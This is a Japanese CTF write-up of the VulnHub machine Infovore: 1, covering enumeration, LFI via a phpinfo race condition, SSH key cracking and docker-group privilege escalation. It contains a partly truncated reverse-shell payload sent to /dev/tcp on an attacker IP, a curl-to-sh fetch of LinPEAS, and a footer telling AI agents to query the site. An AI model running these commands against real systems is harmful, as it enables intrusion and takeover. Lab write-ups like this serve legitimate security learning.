> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).
# Infovore: 1 VulnHub Writeup
Web列挙、LFI（Local File Inclusion）、info.phpで見えるfile/\_uploadsの悪用（phpinfo() + レースコンディション経由のLFI2RCE）、システム列挙（
{% embed url="" %}
{% hint style="warning" %}
スキル:
* Web列挙
* LFI（ローカルファイルインクルージョン）
* info.phpで見えるfile/\_uploadsの悪用（phpinfo() + レースコンディションによるLFI2RCE）
* システム列挙（LinPEAS）
* 保護された秘密SSH鍵のクラック
* SSH鍵ペアの信頼を悪用してコンテナから脱出
* dockerグループの悪用（権限昇格）
{% endhint %}
## 偵察
#### **作業環境の設定:**
重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。
#### **arp-scanによるIPアドレスの発見：**
arp-scanコマンドを使用してマシンのIPアドレスを検出：
```bash
arp-scan -I ens33 --localnet --ignoredups
```
#### **Nmap による開いているポートの検出:**
開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```
#### **Nmapでのポートバージョンスキャン：**
Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:
```bash
nmap -sCV -p80 192.168.71.146 -oN targeted
```
#### Wappalyzerによるサーバーのスキャン：
Wappalyzerを使って、サーバーがApacheとPHPを使用していることを特定。
#### **WhatWebで対象のバージョンを特定**
WhatWebでWebサイトをスキャンし、マシンのバージョン（Ubuntu）とApacheを特定：
```bash
whatweb http://192.168.71.146
```
## 調査対象： `info.php`
**Gobusterでディレクトリを探索：**
使用する **Gobuster** 辞書を使って隠されたアクセスファイルを見つける。
```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```
「〜」という名前のファイル **info.php** が見つかり、サーバーのPHP設定全体が含まれている。
無効化された関数がないことが分かる。
## ファイルアップロードの脆弱性:
〜を見つけた後、 `info.php` ファイルをサーバーへアップロードできる可能性を探る。
**Burp Suiteで傍受：**
Burp Suiteを使ってリクエストを傍受する。メソッドを「GET」から「POST」に変更する。
#### サーバーへテキストファイルを取り込むリクエスト：
以下のBurp Suiteリクエストを使って、という名前のファイルをアップロードする `test.txt`:
```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
これはテストです
----pwned
```
**PHPコードインジェクション：**
同じBurp Suiteの構成を使ってPHPコードを挿入してみる。挿入するファイルの内容を変更する。
```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```
#### 挿入の確認：
サーバー上に「cmd.php」ファイルが存在することを確認して、挿入が成功したかどうかを確認する。
#### LFIの探索
LFI脆弱性を見つけるために、wfuzツールを使ってPHPファイルへリダイレクトする可能性のあるパラメータを特定する。コマンドは以下のとおり：
```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```
#### ファイルが絶えず変わることによる困難：
残念ながら、一時フォルダが絶えず変わるため、cmd.phpファイルの内容を一覧表示できない：
## 脆弱性のレースコンディション：
〜を使用する [自動化スクリプト](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) でそのプロセスのレースコンディションを悪用する。
#### スクリプトの調整
スクリプトを今回の状況に合わせて調整する。
#### マシンへのアクセス成功：
レースコンディションを悪用してマシンへのアクセスを取得することができる。
#### 権限昇格のためのターミナル安定化：
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
## 権限昇格：
コンテナ内にいることを確認し、実際のコンテナのアドレス（192.168.150.1）を見つけるためにコマンドを使用する。その後、このマシンでポート22が開いているか確認する。
```bash
echo '' > /dev/tcp/192.168.150.1/22
```
### **システム列挙（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
権限の列挙にLinPEASを使用する：
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
#### ルートディレクトリに予期しないtgzフォルダを見つけます。
```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```
### /*/* 保護された秘密SSH鍵のクラック：/*/*
#### 秘密SSH鍵の特定
OpenSSHの公開鍵と秘密鍵のペアを特定します。
#### 秘密鍵の解読:
* 秘密鍵が暗号化されていることがわかります
* 次を使用します **ssh2john.py** ファイル内容をハッシュに変換するため:
```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```
* その後、John the Ripperを使ってパスワードリストでハッシュを解析する。
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
#### rootとしてアクセス:
root権限でマシンにアクセスできました。
### **SSH鍵ペアの信頼を悪用してコンテナから脱出する：**
コンテナのsshディレクトリにあるknown\_hosts設定を使って別のマシンへ移行し、ホストマシン上のadminユーザーに接続できるように試みる。
### **Dockerグループの悪用（権限昇格）：**
#### [docker](/ja/privesc/user-groups/docker-group-linux-privilege-escalation.md) グループメンバーシップ：
自分がdockerグループの一員であることを確認する。
#### dockerグループを使って権限を突破する：
dockerグループのメンバーであることを悪用し、本体マシンをadminコンテナにマウントして権限を取得する：
```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```
侵入成功 :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)